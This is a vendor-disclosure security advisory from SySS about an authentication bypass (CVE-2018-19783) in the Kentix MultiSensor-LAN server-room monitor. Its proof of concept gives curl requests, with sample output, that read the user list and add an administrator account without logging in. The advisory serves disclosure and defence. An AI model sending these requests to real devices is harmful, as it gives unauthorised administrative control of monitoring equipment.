Advisory ID:               SYSS-2018-043
Product:                   MultiSensor-LAN
Manufacturer:              Kentix GmbH
Affected Version(s):       5.63.00 <= 
Tested Version(s):         5.60.01, 5.63.00
Vulnerability Type:        Authentication Bypass Using an Alternate Path or Channel (CWE-288)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2018-12-03
Solution Date:             -
Public Disclosure:         2019-01-17
CVE Reference:		   CVE-2018-19783
Authors of Advisory:       Micha Borrmann (SySS GmbH)

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Overview:

Kentix MultiSensor LAN is a web-based management solution for monitoring
server rooms (see [1]).

The web site authentication can be bypassed to add another administrator
account.

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Vulnerability Details:

The web based application is not using a usual session concept with
a session cookie for managing authenticated user sessions. Some URLs
are protected with HTTP Basic Authentication, but the user management
web page can be accessed and used without any authentication.

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Proof of Concept (PoC):

The current user list can be read out without any authentication (all
values are Base64-encoded) using the following HTTP request:

$ curl --data 'action=0&A05000=1' --url http://$TARGETIP/io
{
"A05001":"YWRtaW4=",
"A05002":"KioqKioq",
"A05003":"",
"A05021":"MASKED",
"A05022":"KioqKioq",
"A05023":"MASKED",
"A05041":"MASKED",
"A05042":"KioqKioq",
"A05043":"MASKED",
"A05061":"",
"A05062":"",
"A05063":"",
"A05081":"",
"A05082":"",
"A05083":""
}

There are five possible accounts, which are represented with the
fields A0500[1-3], A0502[1-3], and so on.  The first field is the user
name, the second is the masked password, and the last one is the
optional e-mail address.

With the following simple HTTP request another user account is
created (username and password are sent Base64-encoded, too):

$ curl --data 'action=1&A05061=MWJj&A05062=MWJj&save=3' --url http://$TARGETIP/io
{
"A05061":"MWJj",
"A05062":"KioqKioq"
}

With this created account, the web interface can be used very easily.
It can be verified that the user account was added successfully via
the previously shown HTTP request:

$ curl --data 'action=0&A05000=1' --url http://$TARGETIP/io
{
"A05001":"YWRtaW4=",
"A05002":"KioqKioq",
"A05003":"",
"A05021":"MASKED",
"A05022":"KioqKioq",
"A05023":"MASKED",
"A05041":"MASKED",
"A05042":"KioqKioq",
"A05043":"MASKED",
"A05061":"MWJj",
"A05062":"KioqKioq",
"A05063":"",
"A05081":"",
"A05082":"",
"A05083":""
}

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Solution:

As there was no response from the vendor, SySS GmbH is not aware of a
solution for this security issue.

Kentix MultiSensor LAN devices should be operated only in firewall
protected LANs with enabled network access control to reduce the risk
of unauthorized manipulations.

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Disclosure Timeline:

2018-11-30: Detection of the vulnerability
2018-12-01: CVE number assigned
2018-12-03: Vulnerability reported to manufacturer
2019-01-17: Public release of the security advisory

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References:
[1] Support web site
    https://kentix.com/en/download-support/software-manuals-for-devices-until-01-2018/
[2] SySS Security Advisory SYSS-2018-043
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-043.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Micha Borrmann of SySS GmbH.

E-Mail: micha.borrmann (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6  0DD4 EDBE 26E7 14EA 5876

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory
may be updated in order to provide as accurate information as
possible. The latest version of this security advisory is available on
the SySS Web site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en